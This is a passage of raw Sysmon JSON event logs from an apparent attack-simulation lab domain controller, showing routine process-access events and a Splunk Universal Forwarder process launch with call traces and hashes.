AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.353\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.353","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3206,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.353\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.353","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3207,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.353\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.353","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3208,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.353\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010F9130500}\r\nTargetProcessId: 1396\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.353","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010F9130500}","TargetProcessId":"1396","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3209,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.353\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010F9130500}\r\nSourceProcessId: 1396\r\nSourceThreadId: 5068\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-001082130500}\r\nTargetProcessId: 1328\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.353","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010F9130500}","SourceProcessId":"1396","SourceThreadId":"5068","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-001082130500}","TargetProcessId":"1328","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3210,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.371\r\nProcessGuid: {90617006-407B-5F2D-0000-00101C150500}\r\nProcessId: 5088\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nFileVersion: 8.0.2\r\nDescription: splunk Application\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3\r\nParentProcessGuid: {90617006-407B-5F2D-0000-001082130500}\r\nParentProcessId: 1328\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.371","ProcessGuid":"{90617006-407B-5F2D-0000-00101C150500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","FileVersion":"8.0.2","Description":"splunk Application","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3","ParentProcessGuid":"{90617006-407B-5F2D-0000-001082130500}","ParentProcessId":"1328","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3211,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.369\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001082130500}\r\nSourceProcessId: 1328\r\nSourceThreadId: 1256\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-00101C150500}\r\nTargetProcessId: 5088\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.369","SourceProcessGUID":"{90617006-407B-5F2D-0000-001082130500}","SourceProcessId":"1328","SourceThreadId":"1256","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-00101C150500}","TargetProcessId":"5088","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3212,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.369\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-00101C150500}\r\nTargetProcessId: 5088\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.369","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-00101C150500}","TargetProcessId":"5088","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3213,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3214,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 